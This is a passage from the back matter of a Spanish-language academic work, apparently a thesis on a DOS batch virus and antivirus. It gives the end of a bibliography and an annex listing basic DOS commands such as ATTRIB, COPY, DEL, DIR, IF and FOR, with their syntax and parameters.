Disponible en:
<http://www.webopedia.com/DidYouKnow/Hardware_Software/2004/BootProcess.asp
>
• Virus. 22ª Versión. Real Academia Española [en línea]. [17 de Noviembre]. Disponible
en: <http://lema.rae.es/drae/?val=virus>
! 57!
ANEXOS
ANEXO 1
REFERENCIA DE COMANDOS DOS
En la siguiente lista se presenta una serie de comandos básicos, según el libro DOS 6 de
Kris Jamsa, para poder entender la programación del virus informático y el antivirus.
• . y ..: (Abreviaturas) Permiten referirse al directorio actual ( . ) o al directorio superior (
.. ) ahorrando pulsación de teclas.
Formato:
comando .
comando ..
• *: (Carácter comodín) Especifica la orden sobre todo archivo de cierta extensión o de
cierto nombre.
Formato:
comando *.extensión (todos los archivos de cierta extensión)
comando nombre.* (todos los archivos de cierto nombre)
comando *.* (todos los archivos)
• @: Suprime la presentación de la orden actual en un procesamiento por lotes.
Formato:
@comando
• ATTRIB: Añade o elimina un atributo de un archivo especifico.
Formato:
ATTRIB [+/-]atributo ruta nombre_del_archivo.extensión parámetro_opcional
! 58!
/S: (Parámetro de ATTRIB) Permite procesar el comando ATTRIB a todos los
subdirectorios
A: (Atributo de ATTRIB) Atributo de archivo de almacenamiento.
H: (Atributo de ATTRIB) Atributo de archivo oculto.
R: (Atributo de ATTRIB) Atributo de archivo de solo lectura.
S: (Atributo de ATTRIB) Atributo de archivo del sistema.
• CALL: Ejecuta un archivo de procesamiento por lotes (o batch) desde el interior de
otro.
Formato:
CALL ruta archivo_batch
por debajo del directorio especificado.
• CHDIR o CD: Entra a un subdirectorio. Formato:
CD directorio
• CLS: Borra la presentación en pantalla dejando tan solo el DOS abierto. No necesita de
ninguna especificación y por tanto solo se escribe.
• COPY: Hace duplicados de un archivo.
Formato:
COPY ruta archivo_origen destino
+: (Parámetro de COPY) Combina dos o más archivos al duplicarlos en un destino.
Formato:
COPY ruta archivo1+ruta archivo2+ruta archivo3 destino
• DEL: Borra un archivo (no indica cuando la operación se ha hecho).
! 59!
Formato:
DEL ruta nombre_del_archivo.extensión
/P: (Parámetro de DEL) Muestra el archivo a ser borrado y requiere una confirmación
para la eliminación.
Formato:
DEL archivo.extensión /P
archivo.extensión, ¿Eliminar (S/N)?
• DIR: Muestra los subdirectorios y archivos de una carpeta.
Formato:
DIR dirección_del_directorio parámetro_opcional
/A: (Parámetro de DIR) Indica que DIR presenta solo los archivos que cumplan con
ciertos atributos.
A: Archivos de almacenamiento.
-A: Archivos que no son de almacenamiento.
D: Directorios.
-D: Archivos que no son directorios.
H: Archivos ocultos.
-H: Archivos no ocultos.
R: Archivos de solo lectura.
-R: Archivos que no son de solo lectura.
S: Archivos de sistema.
-S: Archivos que no son del sistema.
/B: Presenta solamente los nombres y las extensiones de los archivos.
! 60!
/L: Presenta los nombres de los archivos en letras minúsculas.
/O: (Parámetro de DIR) Indica a DIR presentar los archivos y directorios en un orden
especifico.
C: De menor a mayor relación de compresión.
-C: De mayor a menor relación de compresión.
D: De antiguo a reciente.
-D: De reciente a antiguo.
E: A a la Z por extensión.
-E: Z a la A por extensión.
G: directorios agrupados antes de los archivos.
-G: directorios agrupados después de los archivos.
N: De la A a la Z según el nombre.
-N: De la Z a la A según el nombre.
S: Por tamaño de menor a mayor.
-S: Por tamaño de mayor a menor.
/P: (Parámetro de DIR) Se detiene después de cada presentación.
/S: Presenta los archivos de los subdirectorios de nivel inferior.
/W: (Parámetro de DIR) Presenta los archivos de forma abreviada (solo el nombre).
• ECHO: Muestra un mensaje (que puede estar en blanco).
Formato:
ECHO mensaje
! 61!
ON y OFF: (Parámetro de ECHO): Activa (ON) o desactiva (OFF) la presentación de
las órdenes de un procesamiento por lotes en pantalla.
Formato:
ECHO ON
ECHO OFF
^G: (Parámetro de ECHO) Genera un sonido de campana.
Formato:
ECHO ^G
• EDIT: Ejecuta el editor de pantalla completa, para modificar o crear archivos de texto o
batch. Si el archivo existe, se modifica, sino, se crea.
Formato:
EDIT ruta nombre_del_archivo.extensión
• EXIT: Finaliza un procesador de ordenes o un procesamiento por lotes. Solo se escribe
EXIT para ejecutarlo.
• FOR, IN y DO: El DOS hace un comando sobre una serie de argumentos (archivos,
nombres, letras, etc.), que tomarán la variable de una letra como referente.
Formato:
FOR %%variable IN (lista_de_argumentos) DO comando %%variable
• FIND: Busca un archivo o un subdirectorio en el interior de un directorio.
Formato:
FIND parámetro_opcional “nombre_buscado” dirección_en_la_que_se_va_a_buscar
/C: (Parámetro de FIND) Indica presentar las apariciones del nombre buscado.
! 62!
/I: (Parámetro de FIND) Indica ser indiferente con minúsculas y mayúsculas.
/V: (Parámetro de FIND) Indica presentar cada línea que no contiene el archivo o
directorio a buscado.
• GOTO: Permite direccionar el procesamiento por lotes a una etiqueta definida. Esta
etiqueta no puede tener más de ocho caracteres. Este comando normalmente se usa en
conjunto con el comando IF.
Formato:
GOTO etiqueta
:etiqueta
• IF: Permite ejecutar ordenes según condiciones, dandole a los archivos de
procesamiento por lotes la capacidad de tomar decisiones (viene del inglés condicional
si).
Formato:
IF condición orden_DOS
EXIST: (Condición de IF) Condiciona según la existencia de un archivo.
Formato:
IF EXIST archivo.extensión comando
NOT: (Condición de IF) Condiciona para el caso opuesto de un evento o la existencia
de un archivo (traducción literal: sino).
Formato:
C:\> IF NOT condición comando
! 63!
ERRORLEVEL: (Condición de IF) Condiciona según el éxito de la orden anterior. Este
éxito se clasifica según valores de estado, desde 0, como una operación realizada
satisfactoriamente, hasta el número que determine el DOS como máximo según el
comando de la respectiva operación. Se acostumbra a usar con dos valores de estado,
uno que define el valor de estado deseado y otro que, utilizando el operador NOT,
define cual es el valor de estado no deseado, y en caso en que sea este último se recurre
a otro comando.
Formato:
IF ERRORLEVEL #valor_de_estado_deseado IF NOT ERRORLEVEL
#valor_de_estado_no_deseado comando
• MKDIR: Permite crear directorios en el directorio actual.
Formato:
MKDIR nombre_del_directorio_nuevo
• MOVE: Mueve un archivo de un directorio o disco, a otro, o cambia de nombre un
directorio.
Formato:
MOVE archivo.extensión destino (para mover un archivo)
MOVE nombre_antiguo nombre_nuevo (para cambiar de nombre un directorio)
• PATH: Permite crear, mostrar, cambiar o suprimir vías de acceso a una orden (una lista
de directorios a los que el DOS recurre después de que no puede ejecutar un comando
en el directorio actual).
Formato:
! 64!
PATH (para mostrar las vías de acceso actuales)
PATH dirección_de_la_via_de_acceso (para agregar o eliminar una vía de acceso)
• PAUSE: Muestra un mensaje opcional al usuario y suspende el procesamiento del
archivo hasta que se pulse una tecla para continuar.
Formato:
PAUSE mensaje_opcional
• REM: Permite incluir comentarios aclaratorios sobre los archivos de procesamiento por
lotes.
Formato:
REM comentario
• RENAME: Cambia el nombre de un archivo (no tiene un indicativo de que la operación
se haya hecho).
Formato:
RENAME ruta nombre_antiguo nombre_nuevo
• RMDIR o RD: Permite suprimir del disco un directorio dentro del actual que no
contenga archivos (no es posible eliminar el directorio actual).
Formato:
RD directorio_que_se_va_a_borrar
• START: Inicia una nueva ventana de cmd, con la posibilidad de ejecutar un comando al
iniciar.
Formato:
START comando_opcional
! 65!
• SYS: Crea un disco de iniciación o autoarrancable. Esto ocurre haciendo una copia de
los archivos ocultos del sistema operativo.
Formato:
SYS dirección_de_origen_opcional dirección_de_destino
• TREE: Muestra la lista de directorios según su nivel del directorio actual (árbol de
directorios).
/F (Parámetro de TREE): Muestra la lista de los archivos en cada directorio.
DELTREE (Parámetro de TREE): Borra todos los archivos y carpetas de un árbol de
directorios.
• TYPE: Visualiza el contenido de un archivo (principalmente archivos de tipo texto).
Formato:
TYPE ruta nombre_del_archivo.extensión
• UNDELETE: Recupera un archivo borrado previamente. Solo se escribe el comando
para ejecutarlo.